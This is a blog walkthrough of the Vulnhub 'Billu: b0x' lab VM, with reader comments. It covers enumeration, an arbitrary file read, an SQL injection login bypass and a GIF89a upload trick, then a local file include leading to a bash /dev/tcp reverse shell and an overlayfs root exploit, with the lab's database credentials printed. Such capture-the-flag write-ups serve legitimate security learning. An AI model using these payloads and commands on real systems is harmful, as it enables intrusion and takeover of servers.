Vulnhub: Billu – b0x

So here is my write up for the vulnhub challenge “Billu: b0x” which can be downloaded from: https://www.vulnhub.com/entry/billu-b0x,188/

This interested me as there is no walkthrough for me to cheat (as I have a tendency to) and it is a “medium difficulty with tricks” – intriguing.

In my home setup the vulnerable VM is located at: 192.168.1.122 and my pentest box is at 192.168.1.108… lets get started.

First things first whats running on the box:

root[~]: nmap -p- -A 192.168.1.122
Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-30
Nmap scan report for 192.168.1.122
Host is up (0.00065s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 00:0C:29:BD:9E:19 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OK, ssh and HTTP. not much to play with here, I’m guessing this will mostly be a web challenge. When visiting the IP in a browser we are greeted with the following webpage:
Well sqlmap has better sql foo than me so I fire that against it, unfortunately it doesn’t find sql injection.

Next up lets enumerate what we can, time for nikto and dirb:

root[~]: nikto -host http://192.168.1.122
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.122
+ Target Hostname:    192.168.1.122
+ Target Port:        80
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Retrieved x-powered-by header: testing only
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 22710, size: 5108, mtime: Tue Aug 28 11:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /in.php?returnpath=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /in.php?returnpath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3092: /test.php: This might be interesting...
+ 8346 requests: 0 error(s) and 21 item(s) reported on remote host
---------------------------------------------------------------------------

root[~]: dirb http://192.168.1.122 /opt/wordlists/SecLists/Discovery/Web_Content/big.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://192.168.1.122/
WORDLIST_FILES: /opt/wordlists/SecLists/Discovery/Web_Content/big.txt
-----------------
GENERATED WORDS: 20458                                                         
---- Scanning URL: http://192.168.1.122/ ----
+ http://192.168.1.122/add (CODE:200|SIZE:307)                                                                                          
+ http://192.168.1.122/c (CODE:200|SIZE:1)                                                                                              
+ http://192.168.1.122/cgi-bin/ (CODE:403|SIZE:289)                                                                                     
+ http://192.168.1.122/head (CODE:200|SIZE:2793)                                                                                        
==> DIRECTORY: http://192.168.1.122/images/                                                                                             
+ http://192.168.1.122/in (CODE:200|SIZE:47549)                                                                                         
+ http://192.168.1.122/index (CODE:200|SIZE:3267)                                                                                       
+ http://192.168.1.122/panel (CODE:302|SIZE:2469)                                                                                       
==> DIRECTORY: http://192.168.1.122/phpmy/                                                                                              
+ http://192.168.1.122/server-status (CODE:403|SIZE:294)                                                                                
+ http://192.168.1.122/show (CODE:200|SIZE:1)                                                                                           
+ http://192.168.1.122/test (CODE:200|SIZE:72)                                                                                          
==> DIRECTORY: http://192.168.1.122/uploaded_images/                                                                                                                                      
---- Entering directory: http://192.168.1.122/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/ ----
+ http://192.168.1.122/phpmy/ChangeLog (CODE:200|SIZE:28878)                                                                            
+ http://192.168.1.122/phpmy/LICENSE (CODE:200|SIZE:18011)                                                                              
+ http://192.168.1.122/phpmy/README (CODE:200|SIZE:2164)                                                                                
+ http://192.168.1.122/phpmy/TODO (CODE:200|SIZE:190)                                                                                   
+ http://192.168.1.122/phpmy/changelog (CODE:200|SIZE:8367)                                                                             
==> DIRECTORY: http://192.168.1.122/phpmy/contrib/                                                                                      
+ http://192.168.1.122/phpmy/docs (CODE:200|SIZE:2781)                                                                                  
+ http://192.168.1.122/phpmy/export (CODE:200|SIZE:8367)                                                                                
+ http://192.168.1.122/phpmy/favicon (CODE:200|SIZE:18902)                                                                              
+ http://192.168.1.122/phpmy/favicon.ico (CODE:200|SIZE:18902)                                                                          
+ http://192.168.1.122/phpmy/import (CODE:200|SIZE:8367)                                                                                
+ http://192.168.1.122/phpmy/index (CODE:200|SIZE:8367)                                                                                 
==> DIRECTORY: http://192.168.1.122/phpmy/js/                                                                                           
==> DIRECTORY: http://192.168.1.122/phpmy/libraries/                                                                                    
+ http://192.168.1.122/phpmy/license (CODE:200|SIZE:8367)                                                                               
==> DIRECTORY: http://192.168.1.122/phpmy/locale/                                                                                       
+ http://192.168.1.122/phpmy/main (CODE:200|SIZE:8367)                                                                                  
+ http://192.168.1.122/phpmy/navigation (CODE:200|SIZE:8367)                                                                            
+ http://192.168.1.122/phpmy/phpinfo (CODE:200|SIZE:8367)                                                                               
+ http://192.168.1.122/phpmy/phpmyadmin (CODE:200|SIZE:42380)                                                                           
==> DIRECTORY: http://192.168.1.122/phpmy/pmd/                                                                                          
+ http://192.168.1.122/phpmy/print (CODE:200|SIZE:1064)                                                                                 
+ http://192.168.1.122/phpmy/robots (CODE:200|SIZE:26)                                                                                  
+ http://192.168.1.122/phpmy/robots.txt (CODE:200|SIZE:26)                                                                              
==> DIRECTORY: http://192.168.1.122/phpmy/scripts/                                                                                      
==> DIRECTORY: http://192.168.1.122/phpmy/setup/                                                                                        
+ http://192.168.1.122/phpmy/sql (CODE:200|SIZE:8367)                                                                                   
==> DIRECTORY: http://192.168.1.122/phpmy/themes/                                                                                       
+ http://192.168.1.122/phpmy/url (CODE:200|SIZE:8367)                                                                                   
+ http://192.168.1.122/phpmy/webapp (CODE:200|SIZE:6916)                                                                                
---- Entering directory: http://192.168.1.122/uploaded_images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/contrib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/libraries/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/locale/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/pmd/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/setup/ ----
+ http://192.168.1.122/phpmy/setup/config (CODE:303|SIZE:0)                                                                             
==> DIRECTORY: http://192.168.1.122/phpmy/setup/frames/                                                                                 
+ http://192.168.1.122/phpmy/setup/index (CODE:200|SIZE:12969)                                                                          
==> DIRECTORY: http://192.168.1.122/phpmy/setup/lib/                                                                                    
+ http://192.168.1.122/phpmy/setup/scripts (CODE:200|SIZE:5169)                                                                         
+ http://192.168.1.122/phpmy/setup/styles (CODE:200|SIZE:6941)                                                                          
+ http://192.168.1.122/phpmy/setup/validate (CODE:200|SIZE:10)                                                                          
---- Entering directory: http://192.168.1.122/phpmy/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/setup/frames/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.122/phpmy/setup/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

So what did we learn from these?
We can use PHP’s magic strings to perform further enumeration (/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000)
Directory indexing appears to be turned on (/images)
in.php appears to be displaying phpinfo();

I went through dirb’s results manually to try to understand the application better and work out what each page does.

homepage == login form
in.php = phpinfo()
/add.php = image uploader form
/panel.php = redirects to index.php – guessing admin panel
/test.php = “‘file’ parameter is empty. Please provide file path in ‘file’ parameter ” ?!
/uploaded_images/ = seems interesting (directory listing enabled)
/phpmy/ = phpmyadmin login page

The image uploader (add.php) doesn’t seem to do anything. I literally spent a few hours here trying to understand what I could do. then stepped back and realised add.php is probably included in the admin’s backend, as is test.php.

So get add.php in the browser and make it post to test.php… same error.
OK.. shot in the dark, I’ll add a “file” parameter containing “/etc/passwd” (standard test file)

well, OK then, I’ll take it, didn’t expect that to work!

So now I can read the contents of any file on the server as long as I know it’s full path. Lets look at that login screen (/var/www/index.php). We get the following:

if(isset($_POST['login'])){
	$uname = str_replace('\'', '', urldecode($_POST['un']));
	$pass = str_replace('\'', '', urldecode($_POST['ps']));
	$run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	mysqli_query($conn, $run);
}

That makes things a bit easier. After a bit of fiddeling around making everything line up I log in with:
user: OR 1=1 —
pass: \

Whilst we’re at it might as well read the contents of c.php which makes the database connection, to get:

mysqli_connect(“127.0.0.1″,”billu”,”b0x_billu”,”ica_lab”);

now we have that I had a look for more credentials in the phpmyadmin backend using these discovered details. There is not much there of further use, only the credentials to the admin backend which we no-longer care about as we have working SQLi.

Back to the admin panel. There is some kind of user display and the previous uploading form (add.php) uploading a test image I then browsed to “uploaded_images” as found with dirb to discover our image there.. awesome, now to upload some PHP. Lets read how the uploading is working to see what restrictions are in place.

Using test.php to read panel.php we find something similar to:

<?php
if(isset($_POST['upload'])){
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name'])){
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
		$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
		$image=array('jpeg','jpg','gif','png');

		if(in_array($r,$image)){
			$finfo = @new finfo(FILEINFO_MIME); 
			$filetype = @$finfo->file($_FILES['image']['tmp_name']);
			if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){
						echo "Uploaded successfully ";
						$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
						mysqli_query($conn, $update);
								  
					}
				}else{
					echo "i told you dear, only png,jpg and gif file are allowed";
				}
			}else{
				echo "
only png,jpg and gif file are allowed";
			}
		}
	}
}
?>

Lets take this one step at a time.
Firstly the filename has to end with one of the extensions in the array ‘jpeg’,’jpg’,’gif’,’png’
Secondly it has to have an accepted MIME type. finfo(FILEINFO_MIME);

Bypassing the mime type is easy we just prepend our payload with “GIF89a;”
I thought it would be possible to bypass the extension with all sorts of things.. was stuck here for quite a while! null bytes, double extensions, you name it I tried it!

I was stuck here a LONG time.. then I realized these actually contained the content I want, I just need to find local file include. and I already had that with test.php.

Unfortunatly that wasn’t working, I got test.php to read it’s own contents and found it was a) checking the file existed and b) using readfile($file);

After reading the source of all the PHP scripts I could I found that panel.php contained a lovley snippet of code:

if($choice==='show'){
	include($dir.'/'.$choice.'.php');
	die();
}else{
	include($dir.'/'.$_POST['load']);
}

I could now include an uploaded image and the include would execute my code! finally!

so load up metasploit and have a multi/handler job running with a generic shell:

msf exploit(overlayfs_priv_esc) > jobs
Jobs
====
  Id  Name                    Payload                            Payload opts
  --  ----                    -------                            ------------
  0   Exploit: multi/handler  generic/shell_reverse_tcp          tcp://192.168.1.108:666

And launch: bash -i >& /dev/tcp/192.168.1.108/666 0>&1

no shell!… what ?! so I go through pentestmonkeys “reverse shell cheatsheet” finally, using the perl payload, replacing spaces with “+” and &’s with “%26″‘s (to make it URL friendly) I get a reverse shell.

First things first lets upgrade it. In metasploit run “sessions -u ” and it works first time, I got an upgraded shell. Now lets attempt to privesc, quick and dirty hunt for what should work, in metasploit privesc check:

msf post(local_exploit_suggester) > sessions -l

Active sessions
===============
  Id  Type                   Information                                                     Connection
  --  ----                   -----------                                                     ----------
  34  shell sparc/bsd        /bin/sh: 0: can't access tty; job control turned off $          192.168.1.108:666 -> 192.168.1.122:50595 (192.168.1.122)
  35  meterpreter x86/linux  uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33 @ indishell  192.168.1.108:4433 -> 192.168.1.122:37209 (192.168.1.122)

msf post(local_exploit_suggester) > set session 35
session => 35
msf post(local_exploit_suggester) > run

[*] 192.168.1.122 - Collecting local exploits for x86/linux...
[*] 192.168.1.122 - 10 exploit checks are being tried...
[+] 192.168.1.122 - exploit/linux/local/overlayfs_priv_esc: The target appears to be vulnerable.
[*] Post module execution completed

I tried to run exploit/linux/local/overlayfs_priv_esc but it didn’t work for some unknown reason.

back in meterpreter I attempted to enumerate the system a bit more:

meterpreter > sysinfo
Computer     : indishell
OS           : Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > shell
Process 1288 created.
Channel 10 created.
/bin/sh: 0: can't access tty; job control turned off
$ cat /etc/issue
Ubuntu 12.04.5 LTS \n \l

$ uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

I checked searchsploit and that too had an overlayfs priv esc file (linux/local/37292.c)
so I fired up “python -m SimpleHTTPServer” and logged into a shell on the machine.

$ cd /tmp
$ wget http://192.168.1.108:8000/overlay.c
--2017-05-02 04:23:55--  http://192.168.1.108:8000/overlay.c
Connecting to 192.168.1.108:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/plain]
Saving to: `overlay.c'

100%[======================================>] 5,123       --.-K/s   in 0s      

2017-05-02 04:23:55 (443 MB/s) - `overlay.c' saved [5123/5123]

$ gcc overlay.c -o overlay
$ ./overlay
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

And that my friends is game over 🙂
This has been an awesome challenge, big thank you’s to Manish Kishan Tanwar for creating it.

I hope someone has learnt something from this.
I’m sure there are other ways of completing it also.

Thanks for reading

5 thoughts on “Vulnhub: Billu – b0x

    • sure… how are you struggling with it? the answer is kind-of there:

      That makes things a bit easier. After a bit of fiddling around making everything line up I log in with:
      user: OR 1=1 —
      pass: \

      remember to put a space after the — in the username perhaps?

        • correct but remember pass is first so you are effectively making the query:

          $run = ‘select * from auth where pass=’ and uname=’OR 1=1 — ”;

          looking at it now you can probably remove the —
          I’ve deleted the VM, let me know if it works
          I hope this helps

Leave a Reply